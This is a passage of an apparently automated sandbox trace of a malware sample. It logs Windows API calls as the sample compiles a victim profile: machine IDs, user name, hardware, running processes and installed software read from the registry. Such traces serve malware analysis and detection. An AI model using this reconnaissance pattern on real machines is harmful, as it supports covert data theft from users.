[1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]"
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\n"
[0054.966] RegCloseKey (hKey=0x514) returned 0x0
[0054.966] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x29, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0044-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.966] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0044-0409-0000-0000000FF1CE}") returned 90
[0054.966] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0044-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.966] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft InfoPath MUI (English) 2016", lpcbData=0x1816c0*=0x26) returned 0x0
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- 